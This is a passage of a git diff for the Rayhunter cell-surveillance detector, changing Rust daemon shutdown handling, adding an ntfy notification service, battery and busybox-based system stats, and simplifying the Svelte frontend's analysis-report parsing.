let args = parse_args();
|
||||
|
||||
loop {
|
||||
@@ -211,11 +201,12 @@ async fn run_with_config(
|
||||
let (diag_tx, diag_rx) = mpsc::channel::<DiagDeviceCtrlMessage>(1);
|
||||
let (ui_update_tx, ui_update_rx) = mpsc::channel::<display::DisplayState>(1);
|
||||
let (analysis_tx, analysis_rx) = mpsc::channel::<AnalysisCtrlMessage>(5);
|
||||
let mut maybe_ui_shutdown_tx = None;
|
||||
let mut maybe_key_input_shutdown_tx = None;
|
||||
let restart_token = CancellationToken::new();
|
||||
let shutdown_token = restart_token.child_token();
|
||||
|
||||
let notification_service = NotificationService::new(config.ntfy_url.clone());
|
||||
|
||||
if !config.debug_mode {
|
||||
let (ui_shutdown_tx, ui_shutdown_rx) = oneshot::channel();
|
||||
maybe_ui_shutdown_tx = Some(ui_shutdown_tx);
|
||||
info!("Using configuration for device: {0:?}", config.device);
|
||||
let mut dev = DiagDevice::new(&config.device)
|
||||
.await
|
||||
@@ -234,6 +225,7 @@ async fn run_with_config(
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_tx.clone(),
|
||||
config.analyzers.clone(),
|
||||
notification_service.new_handler(),
|
||||
);
|
||||
info!("Starting UI");
|
||||
|
||||
@@ -243,22 +235,19 @@ async fn run_with_config(
|
||||
Device::Tmobile => display::tmobile::update_ui,
|
||||
Device::Wingtech => display::wingtech::update_ui,
|
||||
Device::Pinephone => display::headless::update_ui,
|
||||
Device::Uz801 => display::uz801::update_ui,
|
||||
};
|
||||
update_ui(&task_tracker, &config, ui_shutdown_rx, ui_update_rx);
|
||||
update_ui(&task_tracker, &config, shutdown_token.clone(), ui_update_rx);
|
||||
|
||||
info!("Starting Key Input service");
|
||||
let (key_input_shutdown_tx, key_input_shutdown_rx) = oneshot::channel();
|
||||
maybe_key_input_shutdown_tx = Some(key_input_shutdown_tx);
|
||||
key_input::run_key_input_thread(
|
||||
&task_tracker,
|
||||
&config,
|
||||
diag_tx.clone(),
|
||||
key_input_shutdown_rx,
|
||||
shutdown_token.clone(),
|
||||
);
|
||||
}
|
||||
|
||||
let (daemon_restart_tx, daemon_restart_rx) = oneshot::channel::<()>();
|
||||
let (server_shutdown_tx, server_shutdown_rx) = oneshot::channel::<()>();
|
||||
let analysis_status_lock = Arc::new(RwLock::new(analysis_status));
|
||||
run_analysis_thread(
|
||||
&task_tracker,
|
||||
@@ -267,19 +256,28 @@ async fn run_with_config(
|
||||
analysis_status_lock.clone(),
|
||||
config.analyzers.clone(),
|
||||
);
|
||||
let should_restart_flag = Arc::new(AtomicBool::new(false));
|
||||
|
||||
run_shutdown_thread(
|
||||
&task_tracker,
|
||||
diag_tx.clone(),
|
||||
daemon_restart_rx,
|
||||
should_restart_flag.clone(),
|
||||
server_shutdown_tx,
|
||||
maybe_ui_shutdown_tx,
|
||||
maybe_key_input_shutdown_tx,
|
||||
shutdown_token.clone(),
|
||||
qmdl_store_lock.clone(),
|
||||
analysis_tx.clone(),
|
||||
);
|
||||
|
||||
run_battery_notification_worker(
|
||||
&task_tracker,
|
||||
config.device.clone(),
|
||||
notification_service.new_handler(),
|
||||
shutdown_token.clone(),
|
||||
);
|
||||
|
||||
run_notification_worker(
|
||||
&task_tracker,
|
||||
notification_service,
|
||||
config.enabled_notifications.clone(),
|
||||
);
|
||||
|
||||
let state = Arc::new(ServerState {
|
||||
config_path: args.config_path.clone(),
|
||||
config,
|
||||
@@ -287,15 +285,16 @@ async fn run_with_config(
|
||||
diag_device_ctrl_sender: diag_tx,
|
||||
analysis_status_lock,
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_tx: Arc::new(RwLock::new(Some(daemon_restart_tx))),
|
||||
daemon_restart_token: restart_token.clone(),
|
||||
ui_update_sender: Some(ui_update_tx),
|
||||
});
|
||||
run_server(&task_tracker, state, server_shutdown_rx).await;
|
||||
run_server(&task_tracker, state, shutdown_token.clone()).await;
|
||||
|
||||
task_tracker.close();
|
||||
task_tracker.wait().await;
|
||||
|
||||
info!("see you space cowboy...");
|
||||
Ok(should_restart_flag.load(Ordering::Relaxed))
|
||||
Ok(restart_token.is_cancelled())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
|
||||
@@ -0,0 +1,164 @@
|
||||
use std::{
|
||||
cmp::min,
|
||||
collections::HashMap,
|
||||
time::{Duration, Instant},
|
||||
};
|
||||
|
||||
use log::error;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::sync::mpsc::{self, error::TryRecvError};
|
||||
use tokio_util::task::TaskTracker;
|
||||
|
||||
#[derive(Hash, Eq, PartialEq, Debug, Clone, Serialize, Deserialize)]
|
||||
pub enum NotificationType {
|
||||
Warning,
|
||||
LowBattery,
|
||||
}
|
||||
|
||||
pub struct Notification {
|
||||
notification_type: NotificationType,
|
||||
message: String,
|
||||
debounce: Option<Duration>,
|
||||
}
|
||||
|
||||
impl Notification {
|
||||
pub fn new(
|
||||
notification_type: NotificationType,
|
||||
message: String,
|
||||
debounce: Option<Duration>,
|
||||
) -> Self {
|
||||
Notification {
|
||||
notification_type,
|
||||
message,
|
||||
debounce,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
struct NotificationStatus {
|
||||
message: String,
|
||||
needs_sending: bool,
|
||||
last_sent: Option<Instant>,
|
||||
last_attempt: Option<Instant>,
|
||||
failed_since_last_success: u32,
|
||||
}
|
||||
|
||||
pub struct NotificationService {
|
||||
url: Option<String>,
|
||||
tx: mpsc::Sender<Notification>,
|
||||
rx: mpsc::Receiver<Notification>,
|
||||
}
|
||||
|
||||
impl NotificationService {
|
||||
pub fn new(url: Option<String>) -> Self {
|
||||
let (tx, rx) = mpsc::channel(10);
|
||||
Self { url, tx, rx }
|
||||
}
|
||||
|
||||
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
|
||||
self.tx.clone()
|
||||
}
|
||||
}
|
||||
|
||||
pub fn run_notification_worker(
|
||||
task_tracker: &TaskTracker,
|
||||
mut notification_service: NotificationService,
|
||||
enabled_notifications: Vec<NotificationType>,
|
||||
) {
|
||||
task_tracker.spawn(async move {
|
||||
if let Some(url) = notification_service.url
|
||||
&& !url.is_empty()
|
||||
{
|
||||
let mut notification_statuses = HashMap::new();
|
||||
let http_client = reqwest::Client::new();
|
||||
|
||||
loop {
|
||||
// Get any notifications since the last time we checked
|
||||
loop {
|
||||
match notification_service.rx.try_recv() {
|
||||
Ok(notification) => {
|
||||
if !enabled_notifications.contains(¬ification.notification_type) {
|
||||
continue;
|
||||
}
|
||||
|
||||
let status = notification_statuses
|
||||
.entry(notification.notification_type)
|
||||
.or_insert_with(|| NotificationStatus {
|
||||
message: "".to_string(),
|
||||
needs_sending: true,
|
||||
last_sent: None,
|
||||
last_attempt: None,
|
||||
failed_since_last_success: 0,
|
||||
});
|
||||
// Ignore if we're in the debounce period
|
||||
if let Some(debounce) = notification.debounce
|
||||
&& let Some(last_sent) = status.last_sent
|
||||
&& last_sent.elapsed() < debounce
|
||||
{
|
||||
continue;
|
||||
}
|
||||
status.message = notification.message;
|
||||
status.needs_sending = true;
|
||||
}
|
||||
Err(TryRecvError::Empty) => {
|
||||
break;
|
||||
}
|
||||
Err(TryRecvError::Disconnected) => {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Attempt to send pending notifications
|
||||
for notification in notification_statuses.values_mut() {
|
||||
if !notification.needs_sending {
|
||||
continue;
|
||||
}
|
||||
|
||||
// Backoff retries, up to a maximum of 256 seconds.
|
||||
if let Some(last_attempt) = notification.last_attempt {
|
||||
let min_wait_time = Duration::from_secs(
|
||||
2u64.pow(min(notification.failed_since_last_success, 8)),
|
||||
);
|
||||
if last_attempt.elapsed() < min_wait_time {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
match http_client
|
||||
.post(&url)
|
||||
.body(notification.message.clone())
|
||||
.send()
|
||||
.await
|
||||
{
|
||||
Ok(response) => {
|
||||
if response.status().is_success() {
|
||||
notification.last_sent = Some(Instant::now());
|
||||
notification.failed_since_last_success = 0;
|
||||
notification.needs_sending = false;
|
||||
} else {
|
||||
notification.failed_since_last_success += 1;
|
||||
notification.last_attempt = Some(Instant::now());
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Failed to send notification to ntfy: {e}");
|
||||
notification.failed_since_last_success += 1;
|
||||
notification.last_attempt = Some(Instant::now());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
tokio::time::sleep(Duration::from_secs(2)).await;
|
||||
}
|
||||
}
|
||||
// If there's no url to send to we'll just discard the notifications
|
||||
else {
|
||||
loop {
|
||||
if notification_service.rx.recv().await.is_none() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
+35
-26
@@ -13,14 +13,16 @@ use log::{error, warn};
|
||||
use std::sync::Arc;
|
||||
use tokio::fs::write;
|
||||
use tokio::io::{AsyncReadExt, copy, duplex};
|
||||
use tokio::sync::RwLock;
|
||||
use tokio::sync::mpsc::Sender;
|
||||
use tokio::sync::{RwLock, oneshot};
|
||||
use tokio_util::compat::FuturesAsyncWriteCompatExt;
|
||||
use tokio_util::io::ReaderStream;
|
||||
use tokio_util::sync::CancellationToken;
|
||||
|
||||
use crate::DiagDeviceCtrlMessage;
|
||||
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
|
||||
use crate::config::Config;
|
||||
use crate::display::DisplayState;
|
||||
use crate::pcap::generate_pcap_data;
|
||||
use crate::qmdl_store::RecordingStore;
|
||||
|
||||
@@ -31,7 +33,8 @@ pub struct ServerState {
|
||||
pub diag_device_ctrl_sender: Sender<DiagDeviceCtrlMessage>,
|
||||
pub analysis_status_lock: Arc<RwLock<AnalysisStatus>>,
|
||||
pub analysis_sender: Sender<AnalysisCtrlMessage>,
|
||||
pub daemon_restart_tx: Arc<RwLock<Option<oneshot::Sender<()>>>>,
|
||||
pub daemon_restart_token: CancellationToken,
|
||||
pub ui_update_sender: Option<Sender<DisplayState>>,
|
||||
}
|
||||
|
||||
pub async fn get_qmdl(
|
||||
@@ -71,11 +74,6 @@ pub async fn serve_static(
|
||||
let path = path.trim_start_matches('/');
|
||||
|
||||
match path {
|
||||
"rayhunter_icon.png" => (
|
||||
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
|
||||
include_bytes!("../web/build/rayhunter_icon.png"),
|
||||
)
|
||||
.into_response(),
|
||||
"rayhunter_orca_only.png" => (
|
||||
[(header::CONTENT_TYPE, HeaderValue::from_static("image/png"))],
|
||||
include_bytes!("../web/build/rayhunter_orca_only.png"),
|
||||
@@ -131,24 +129,11 @@ pub async fn set_config(
|
||||
})?;
|
||||
|
||||
// Trigger daemon restart after writing config
|
||||
let mut restart_tx = state.daemon_restart_tx.write().await;
|
||||
if let Some(sender) = restart_tx.take() {
|
||||
sender.send(()).map_err(|_| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"couldn't send restart signal".to_string(),
|
||||
)
|
||||
})?;
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config and triggered restart".to_string(),
|
||||
))
|
||||
} else {
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config but restart already triggered".to_string(),
|
||||
))
|
||||
}
|
||||
state.daemon_restart_token.cancel();
|
||||
Ok((
|
||||
StatusCode::ACCEPTED,
|
||||
"wrote config and triggered restart".to_string(),
|
||||
))
|
||||
}
|
||||
|
||||
pub async fn get_zip(
|
||||
@@ -242,6 +227,29 @@ pub async fn get_zip(
|
||||
Ok((headers, body).into_response())
|
||||
}
|
||||
|
||||
pub async fn debug_set_display_state(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
Json(display_state): Json<DisplayState>,
|
||||
) -> Result<(StatusCode, String), (StatusCode, String)> {
|
||||
if let Some(ui_sender) = &state.ui_update_sender {
|
||||
ui_sender.send(display_state).await.map_err(|_| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
"failed to send display state update".to_string(),
|
||||
)
|
||||
})?;
|
||||
Ok((
|
||||
StatusCode::OK,
|
||||
"display state updated successfully".to_string(),
|
||||
))
|
||||
} else {
|
||||
Err((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"display system not available".to_string(),
|
||||
))
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
@@ -306,7 +314,8 @@ mod tests {
|
||||
diag_device_ctrl_sender: tx,
|
||||
analysis_status_lock: Arc::new(RwLock::new(analysis_status)),
|
||||
analysis_sender: analysis_tx,
|
||||
daemon_restart_tx: Arc::new(RwLock::new(None)),
|
||||
daemon_restart_token: CancellationToken::new(),
|
||||
ui_update_sender: None,
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
+47
-13
@@ -1,13 +1,15 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use crate::qmdl_store::ManifestEntry;
|
||||
use crate::battery::get_battery_status;
|
||||
use crate::error::RayhunterError;
|
||||
use crate::server::ServerState;
|
||||
use crate::{battery::BatteryState, qmdl_store::ManifestEntry};
|
||||
|
||||
use axum::Json;
|
||||
use axum::extract::State;
|
||||
use axum::http::StatusCode;
|
||||
use log::error;
|
||||
use rayhunter::util::RuntimeMetadata;
|
||||
use rayhunter::{Device, util::RuntimeMetadata};
|
||||
use serde::Serialize;
|
||||
use tokio::process::Command;
|
||||
|
||||
@@ -16,14 +18,24 @@ pub struct SystemStats {
|
||||
pub disk_stats: DiskStats,
|
||||
pub memory_stats: MemoryStats,
|
||||
pub runtime_metadata: RuntimeMetadata,
|
||||
#[serde(skip_serializing_if = "Option::is_none")]
|
||||
pub battery_status: Option<BatteryState>,
|
||||
}
|
||||
|
||||
impl SystemStats {
|
||||
pub async fn new(qmdl_path: &str) -> Result<Self, String> {
|
||||
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
|
||||
Ok(Self {
|
||||
disk_stats: DiskStats::new(qmdl_path).await?,
|
||||
memory_stats: MemoryStats::new().await?,
|
||||
disk_stats: DiskStats::new(qmdl_path, device).await?,
|
||||
memory_stats: MemoryStats::new(device).await?,
|
||||
runtime_metadata: RuntimeMetadata::new(),
|
||||
battery_status: match get_battery_status(device).await {
|
||||
Ok(status) => Some(status),
|
||||
Err(RayhunterError::FunctionNotSupportedForDeviceError) => None,
|
||||
Err(err) => {
|
||||
log::error!("Failed to get battery status: {err}");
|
||||
None
|
||||
}
|
||||
},
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -40,13 +52,22 @@ pub struct DiskStats {
|
||||
|
||||
impl DiskStats {
|
||||
// runs "df -h <qmdl_path>" to get storage statistics for the partition containing
|
||||
// the QMDL file
|
||||
pub async fn new(qmdl_path: &str) -> Result<Self, String> {
|
||||
let mut df_cmd = Command::new("df");
|
||||
// the QMDL file.
|
||||
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
|
||||
// Uz801 needs to be told to use the busybox df specifically
|
||||
let mut df_cmd: Command;
|
||||
if matches!(device, Device::Uz801) {
|
||||
df_cmd = Command::new("busybox");
|
||||
df_cmd.arg("df");
|
||||
} else {
|
||||
df_cmd = Command::new("df");
|
||||
}
|
||||
df_cmd.arg("-h");
|
||||
df_cmd.arg(qmdl_path);
|
||||
let stdout = get_cmd_output(df_cmd).await?;
|
||||
let mut parts = stdout.split_whitespace().skip(7).to_owned();
|
||||
|
||||
// Handle standard df -h format
|
||||
let mut parts = stdout.split_whitespace().skip(7);
|
||||
Ok(Self {
|
||||
partition: parts.next().ok_or("error parsing df output")?.to_string(),
|
||||
total_size: parts.next().ok_or("error parsing df output")?.to_string(),
|
||||
@@ -83,9 +104,16 @@ async fn get_cmd_output(mut cmd: Command) -> Result<String, String> {
|
||||
}
|
||||
|
||||
impl MemoryStats {
|
||||
// runs "free -k" and parses the output to retrieve memory stats
|
||||
pub async fn new() -> Result<Self, String> {
|
||||
let mut free_cmd = Command::new("free");
|
||||
// runs "free -k" and parses the output to retrieve memory stats for most devices,
|
||||
pub async fn new(device: &Device) -> Result<Self, String> {
|
||||
// Use busybox for Uz801
|
||||
let mut free_cmd: Command;
|
||||
if matches!(device, Device::Uz801) {
|
||||
free_cmd = Command::new("busybox");
|
||||
free_cmd.arg("free");
|
||||
} else {
|
||||
free_cmd = Command::new("free");
|
||||
}
|
||||
free_cmd.arg("-k");
|
||||
let stdout = get_cmd_output(free_cmd).await?;
|
||||
let mut numbers = stdout
|
||||
@@ -111,7 +139,7 @@ pub async fn get_system_stats(
|
||||
State(state): State<Arc<ServerState>>,
|
||||
) -> Result<Json<SystemStats>, (StatusCode, String)> {
|
||||
let qmdl_store = state.qmdl_store_lock.read().await;
|
||||
match SystemStats::new(qmdl_store.path.to_str().unwrap()).await {
|
||||
match SystemStats::new(qmdl_store.path.to_str().unwrap(), &state.config.device).await {
|
||||
Ok(stats) => Ok(Json(stats)),
|
||||
Err(err) => {
|
||||
error!("error getting system stats: {err}");
|
||||
@@ -140,3 +168,9 @@ pub async fn get_qmdl_manifest(
|
||||
current_entry,
|
||||
}))
|
||||
}
|
||||
|
||||
pub async fn get_log() -> Result<String, (StatusCode, String)> {
|
||||
tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))
|
||||
}
|
||||
|
||||
@@ -19,6 +19,3 @@ Thumbs.db
|
||||
# Vite
|
||||
vite.config.js.timestamp-*
|
||||
vite.config.ts.timestamp-*
|
||||
|
||||
package-lock.json
|
||||
yarn.lock
|
||||
|
||||
Generated
+5104
File diff suppressed because it is too large
Load Diff
@@ -18,8 +18,9 @@
|
||||
"@sveltejs/adapter-auto": "^3.0.0",
|
||||
"@sveltejs/adapter-static": "^3.0.5",
|
||||
"@sveltejs/kit": "^2.13.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^4.0.0",
|
||||
"@sveltejs/vite-plugin-svelte": "^6.2.1",
|
||||
"@types/eslint": "^9.6.0",
|
||||
"@types/node": "^24.7.0",
|
||||
"autoprefixer": "^10.4.20",
|
||||
"eslint": "^9.7.0",
|
||||
"eslint-config-prettier": "^9.1.0",
|
||||
@@ -32,7 +33,7 @@
|
||||
"tailwindcss": "^3.4.9",
|
||||
"typescript": "^5.0.0",
|
||||
"typescript-eslint": "^8.0.0",
|
||||
"vite": "^5.0.3",
|
||||
"vitest": "^2.0.4"
|
||||
"vite": "^7.1.9",
|
||||
"vitest": "^3.2.4"
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1" />
|
||||
%sveltekit.head%
|
||||
</head>
|
||||
<body data-sveltekit-preload-data="hover">
|
||||
<body data-sveltekit-preload-data="hover" style="width: 100%">
|
||||
<div style="display: contents" class="m-4 xl:m-8">%sveltekit.body%</div>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -0,0 +1,24 @@
|
||||
export class ActionError extends Error {
|
||||
// The number of this an identical error has happened.
|
||||
// This is shown as a number next to the error in the UI.
|
||||
times = $state(1);
|
||||
|
||||
constructor(message: string, cause: Error) {
|
||||
super(message);
|
||||
this.cause = cause;
|
||||
}
|
||||
}
|
||||
|
||||
export const action_errors: ActionError[] = $state([]);
|
||||
|
||||
export function add_error(e: Error, msg: string): void {
|
||||
for (const existing of action_errors) {
|
||||
if (existing.message === msg) {
|
||||
existing.times += 1;
|
||||
return;
|
||||
}
|
||||
}
|
||||
const action_error = new ActionError(msg, e);
|
||||
action_errors.unshift(action_error);
|
||||
console.log(action_errors.length);
|
||||
}
|
||||
@@ -1,43 +1,7 @@
|
||||
import { describe, it, expect } from 'vitest';
|
||||
import { AnalysisRowType, EventType, parse_finished_report, Severity } from './analysis.svelte';
|
||||
import { AnalysisRowType, parse_finished_report } from './analysis.svelte';
|
||||
import { type NewlineDeliminatedJson } from './ndjson';
|
||||
|
||||
const SAMPLE_V1_REPORT_NDJSON: NewlineDeliminatedJson = [
|
||||
{
|
||||
analyzers: [
|
||||
{
|
||||
name: 'Analyzer 1',
|
||||
description: 'A first analyzer',
|
||||
},
|
||||
{
|
||||
name: 'Analyzer 2',
|
||||
description: 'A second analyzer',
|
||||
},
|
||||
],
|
||||
},
|
||||
{
|
||||
timestamp: '2024-10-08T13:25:43.011689003-07:00',
|
||||
skipped_message_reasons: ['The reason why the message was skipped'],
|
||||
analysis: [],
|
||||
},
|
||||
{
|
||||
timestamp: '2024-10-08T13:25:43.480872496-07:00',
|
||||
skipped_message_reasons: [],
|
||||
analysis: [
|
||||
{
|
||||
timestamp: '2024-08-19T03:33:54.318Z',
|
||||
events: [
|
||||
null,
|
||||
{
|
||||
event_type: { type: 'QualitativeWarning', severity: 'Low' },
|
||||
message: 'Something nasty happened',
|
||||
},
|
||||
],
|
||||
},
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
|
||||
{
|
||||
analyzers: [
|
||||
@@ -62,7 +26,7 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
|
||||
events: [
|
||||
null,
|
||||
{
|
||||
event_type: { type: 'QualitativeWarning', severity: 'Low' },
|
||||
event_type: 'Low',
|
||||
message: 'Something nasty happened',
|
||||
},
|
||||
],
|
||||
@@ -70,40 +34,6 @@ const SAMPLE_V2_REPORT_NDJSON: NewlineDeliminatedJson = [
|
||||
];
|
||||
|
||||
describe('analysis report parsing', () => {
|
||||
it('parses v1 example analysis', () => {
|
||||
const report = parse_finished_report(SAMPLE_V1_REPORT_NDJSON);
|
||||
expect(report.metadata.report_version).toEqual(1);
|
||||
expect(report.metadata.analyzers).toEqual([
|
||||
{
|
||||
name: 'Analyzer 1',
|
||||
description: 'A first analyzer',
|
||||
version: 0,
|
||||
},
|
||||
{
|
||||
name: 'Analyzer 2',
|
||||
description: 'A second analyzer',
|
||||
version: 0,
|
||||
},
|
||||
]);
|
||||
expect(report.rows).toHaveLength(2);
|
||||
expect(report.rows[0].type).toBe(AnalysisRowType.Skipped);
|
||||
if (report.rows[1].type === AnalysisRowType.Analysis) {
|
||||
const row = report.rows[1];
|
||||
expect(row.events).toHaveLength(2);
|
||||
expect(row.events[0]).toBeNull();
|
||||
const event = row.events[1];
|
||||
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
|
||||
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
|
||||
if (event !== null && event.type === EventType.Warning) {
|
||||
expect(event.severity).toEqual(Severity.Low);
|
||||
} else {
|
||||
throw 'wrong event type';
|
||||
}
|
||||
} else {
|
||||
throw 'wrong row type';
|
||||
}
|
||||
});
|
||||
|
||||
it('parses v2 example analysis', () => {
|
||||
const report = parse_finished_report(SAMPLE_V2_REPORT_NDJSON);
|
||||
expect(report.metadata.report_version).toEqual(2);
|
||||
@@ -128,11 +58,7 @@ describe('analysis report parsing', () => {
|
||||
const event = row.events[1];
|
||||
const expected_timestamp = new Date('2024-08-19T03:33:54.318Z');
|
||||
expect(row.packet_timestamp.getTime()).toEqual(expected_timestamp.getTime());
|
||||
if (event !== null && event.type === EventType.Warning) {
|
||||
expect(event.severity).toEqual(Severity.Low);
|
||||
} else {
|
||||
throw 'wrong event type';
|
||||
}
|
||||
expect(event!.event_type).toEqual('Low');
|
||||
} else {
|
||||
throw 'wrong row type';
|
||||
}
|
||||
|
||||
@@ -21,17 +21,7 @@ export class ReportMetadata {
|
||||
constructor(ndjson: any) {
|
||||
this.analyzers = ndjson.analyzers;
|
||||
this.rayhunter = ndjson.rayhunter;
|
||||
if (ndjson.report_version === undefined) {
|
||||
this.report_version = 1;
|
||||
// we consider our legacy (unversioned) heuristics to be v0 --
|
||||
// this'll let us clearly differentiate some known false-positive
|
||||
// results from the pre-versioned era from v1 heuristics
|
||||
this.analyzers.forEach((analyzer) => {
|
||||
analyzer.version = 0;
|
||||
});
|
||||
} else {
|
||||
this.report_version = ndjson.report_version;
|
||||
}
|
||||
this.report_version = ndjson.report_version || 2; // Default to v2
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,77 +54,22 @@ export type PacketAnalysis = {
|
||||
events: Event[];
|
||||
};
|
||||
|
||||
export type Event = QualitativeWarning | InformationalEvent | null;
|
||||
export enum EventType {
|
||||
Informational,
|
||||
Warning,
|
||||
}
|
||||
export type EventType = 'Informational' | 'Low' | 'Medium' | 'High';
|
||||
|
||||
export type QualitativeWarning = {
|
||||
type: EventType.Warning;
|
||||
severity: Severity;
|
||||
export type Event = {
|
||||
event_type: EventType;
|
||||
message: string;
|
||||
};
|
||||
|
||||
export enum Severity {
|
||||
Low,
|
||||
Medium,
|
||||
High,
|
||||
}
|
||||
|
||||
export type InformationalEvent = {
|
||||
type: EventType.Informational;
|
||||
message: string;
|
||||
};
|
||||
} | null;
|
||||
|
||||
function get_event(event_json: any): Event {
|
||||
if (event_json.event_type.type === 'Informational') {
|
||||
return {
|
||||
type: EventType.Informational,
|
||||
message: event_json.message,
|
||||
};
|
||||
} else {
|
||||
return {
|
||||
type: EventType.Warning,
|
||||
severity:
|
||||
event_json.event_type.severity === 'High'
|
||||
? Severity.High
|
||||
: event_json.event_type.severity === 'Medium'
|
||||
? Severity.Medium
|
||||
: Severity.Low,
|
||||
message: event_json.message,
|
||||
};
|
||||
if (!['Informational', 'Low', 'Medium', 'High'].includes(event_json.event_type)) {
|
||||
throw `Invalid/unhandled event type: ${event_json.event_type}`;
|
||||
}
|
||||
|
||||
return event_json;
|
||||
}
|
||||
|
||||
function get_v1_rows(row_jsons: any[]): AnalysisRow[] {
|
||||
const rows: AnalysisRow[] = [];
|
||||
for (const row_json of row_jsons) {
|
||||
for (const reason of row_json.skipped_message_reasons) {
|
||||
rows.push({
|
||||
type: AnalysisRowType.Skipped,
|
||||
reason,
|
||||
});
|
||||
}
|
||||
for (const analysis_json of row_json.analysis) {
|
||||
const events: Event[] = analysis_json.events.map((event_json: any): Event | null => {
|
||||
if (event_json === null) {
|
||||
return null;
|
||||
} else {
|
||||
return get_event(event_json);
|
||||
}
|
||||
});
|
||||
rows.push({
|
||||
type: AnalysisRowType.Analysis,
|
||||
packet_timestamp: new Date(analysis_json.timestamp),
|
||||
events,
|
||||
});
|
||||
}
|
||||
}
|
||||
return rows;
|
||||
}
|
||||
|
||||
function get_v2_rows(row_jsons: any[]): AnalysisRow[] {
|
||||
function get_rows(row_jsons: any[]): AnalysisRow[] {
|
||||
const rows: AnalysisRow[] = [];
|
||||
for (const row_json of row_jsons) {
|
||||
if (row_json.skipped_message_reason) {
|
||||
@@ -170,7 +105,7 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
|
||||
} else {
|
||||
for (const event of row.events) {
|
||||
if (event !== null) {
|
||||
if (event.type === EventType.Informational) {
|
||||
if (event.event_type === 'Informational') {
|
||||
num_informational_logs++;
|
||||
} else {
|
||||
num_warnings++;
|
||||
@@ -188,12 +123,7 @@ function get_report_stats(rows: AnalysisRow[]): ReportStatistics {
|
||||
|
||||
export function parse_finished_report(report_json: NewlineDeliminatedJson): AnalysisReport {
|
||||
const metadata = new ReportMetadata(report_json[0]);
|
||||
let rows;
|
||||
if (metadata.report_version === 1) {
|
||||
rows = get_v1_rows(report_json.slice(1));
|
||||
} else {
|
||||
rows = get_v2_rows(report_json.slice(1));
|
||||
}
|
||||
const rows = get_rows(report_json.slice(1));
|
||||
const statistics = get_report_stats(rows);
|
||||
return {
|
||||
statistics,
|
||||
|
||||
@@ -23,11 +23,9 @@ export type AnalysisResult = {
|
||||
};
|
||||
|
||||
export class AnalysisManager {
|
||||
public status: Map<string, AnalysisStatus> = new Map();
|
||||
public reports: Map<string, AnalysisReport | string> = new Map();
|
||||
|
||||
public async run_analysis(name: string) {
|
||||
await req('POST', `/api/analysis/${name}`);
|
||||
public status: Map<string, AnalysisStatus> = $state(new Map());
|
||||
public reports: Map<string, AnalysisReport | string> = $state(new Map());
|
||||
public set_queued_status(name: string) {
|
||||
this.status.set(name, AnalysisStatus.Queued);
|
||||
this.reports.delete(name);
|
||||
}
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
<script lang="ts">
|
||||
import { action_errors } from '../action_errors.svelte';
|
||||
|
||||
let pos = $state(0);
|
||||
let current_error = $derived(action_errors[pos]);
|
||||
|
||||
function prev_error() {
|
||||
if (pos > 0) pos -= 1;
|
||||
else pos = action_errors.length - 1;
|
||||
}
|
||||
function next_error() {
|
||||
if (pos + 1 < action_errors.length) pos += 1;
|
||||
else pos = 0;
|
||||
}
|
||||
function clear_errors() {
|
||||
pos = 0;
|
||||
action_errors.length = 0;
|
||||
}
|
||||
</script>
|
||||
|
||||
{#if action_errors.length > 0}
|
||||
<div
|
||||
class="bg-red-100 border-red-100 drop-shadow p-4 flex flex-col gap-2
|
||||
border rounded-md flex-1 justify-between fixed z-10 right-3 bottom-3 ml-3"
|
||||
>
|
||||
<div class="flex flex-row justify-between">
|
||||
<span class="text-xl font-bold mb-2 mr-5 flex flex-row items-center gap-1 text-red-600">
|
||||
<svg
|
||||
class="w-6 h-6 text-red-600"
|
||||
aria-hidden="true"
|
||||
xmlns="http://www.w3.org/2000/svg"
|
||||
width="24"
|
||||
height="24"
|
||||
fill="currentColor"
|
||||
viewBox="0 0 24 24"
|
||||
>
|
||||
<path
|
||||
fill-rule="evenodd"
|
||||
